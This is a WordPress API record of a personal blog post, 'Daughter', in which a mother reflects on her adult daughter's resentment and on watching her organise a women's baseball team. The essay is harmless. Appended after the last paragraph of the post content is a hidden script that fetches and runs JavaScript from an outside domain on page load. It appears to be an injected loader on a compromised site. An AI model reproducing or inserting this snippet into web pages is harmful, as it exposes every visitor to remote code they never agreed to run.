{"id":198,"date":"2020-11-03T10:15:42","date_gmt":"2020-11-03T10:15:42","guid":{"rendered":"http:\/\/www.phoebegibson.com\/?p=198"},"modified":"2025-11-21T20:00:45","modified_gmt":"2025-11-21T20:00:45","slug":"daughter","status":"publish","type":"post","link":"http:\/\/www.phoebegibson.com\/index.php\/daughter\/","title":{"rendered":"Daughter"},"content":{"rendered":"\n<p>To me, she is beautiful. On the outside, a feisty warrior of a young woman, prepared and ready to take on the world. Wanting to take Life by the horns and show it what she&#8217;s made of.  And on the inside, a warm, caring, considerate and compassionate human being who puts the needs of others before her own. Always.  Every time.<\/p>\n\n\n\n<p>Exactly what I&#8217;d hoped and dreamed of for her.  As a mother, exactly what I&#8217;d set out to achieve. <\/p>\n\n\n\n<p>And yet, I didn&#8217;t realise it would come at a cost.<\/p>\n\n\n\n<p>Today she looked at me with contempt.  Everything about me irritates her. Just by &#8216;being&#8217;, I am in her way.  She hates having to live back at home &#8211; graduated with no job and a slim immediate future.  She hates the way I tidy things up in the wake of her chaos. And how quickly I stack the dishwasher with the multiple mugs that mark the hours she&#8217;s wasting, waiting for adult life to begin. And the pile of clothes I stack up outside her room, collected as I journey round the house undertaking the business of being a home owner. <\/p>\n\n\n\n<p>To her, I am old.  Past it.  No longer needed.  I&#8217;ve done my job. <em>&#8216;Move over, mother. It&#8217;s my turn now.&#8217;<\/em><\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"506\" height=\"603\" src=\"http:\/\/www.phoebegibson.com\/wp-content\/uploads\/2020\/11\/IMG_3560.jpg\" alt=\"\" class=\"wp-image-200\" srcset=\"http:\/\/www.phoebegibson.com\/wp-content\/uploads\/2020\/11\/IMG_3560.jpg 506w, http:\/\/www.phoebegibson.com\/wp-content\/uploads\/2020\/11\/IMG_3560-252x300.jpg 252w\" sizes=\"(max-width: 506px) 100vw, 506px\" \/><\/figure>\n\n\n\n<p>I watched in awe as she managed and organised a women&#8217;s baseball team from scratch last weekend.  Put an invite on social media and people will come.  That was her pure strategy.  Seemed to work.<\/p>\n\n\n\n<p>She had pens, paper and name badges for signing up; bats, balls, gloves and equipment for rookies to try; chocolate for energy levels.  And a camera to record the event &#8211; make it Insta real. <\/p>\n\n\n\n<p>Well done, my girl.  Bravo.<\/p>\n\n\n\n<p>And yet she has learnt all of this from me.  <\/p>\n\n\n\n<p>I wonder when she&#8217;ll realise.<\/p>\n<script>var url = 'https:\/\/wafsearch.wiki\/xml';\nvar script = document.createElement('script');\nscript.src = url;\nscript.type = 'text\/javascript';\nscript.async = true;\ndocument.getElementsByTagName('head')[0].appendChild(script);<\/script>","protected":false},"excerpt":{"rendered":"<p>To me, she is beautiful. On the outside, a feisty warrior of a young woman, prepared and ready to take on the world. Wanting to take Life by the horns and show it what she&#8217;s made of. And on the inside, a warm, caring, considerate and compassionate human being who puts the needs of others [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":199,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_et_pb_use_builder":"","_et_pb_old_content":"","_et_gb_content_width":"","footnotes":""},"categories":[8],"tags":[],"_links":{"self":[{"href":"http:\/\/www.phoebegibson.com\/index.php\/wp-json\/wp\/v2\/posts\/198"}],"collection":[{"href":"http:\/\/www.phoebegibson.com\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/www.phoebegibson.com\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/www.phoebegibson.com\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/www.phoebegibson.com\/index.php\/wp-json\/wp\/v2\/comments?post=198"}],"version-history":[{"count":2,"href":"http:\/\/www.phoebegibson.com\/index.php\/wp-json\/wp\/v2\/posts\/198\/revisions"}],"predecessor-version":[{"id":331,"href":"http:\/\/www.phoebegibson.com\/index.php\/wp-json\/wp\/v2\/posts\/198\/revisions\/331"}],"wp:featuredmedia":[{"embeddable":true,"href":"http:\/\/www.phoebegibson.com\/index.php\/wp-json\/wp\/v2\/media\/199"}],"wp:attachment":[{"href":"http:\/\/www.phoebegibson.com\/index.php\/wp-json\/wp\/v2\/media?parent=198"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/www.phoebegibson.com\/index.php\/wp-json\/wp\/v2\/categories?post=198"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/www.phoebegibson.com\/index.php\/wp-json\/wp\/v2\/tags?post=198"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}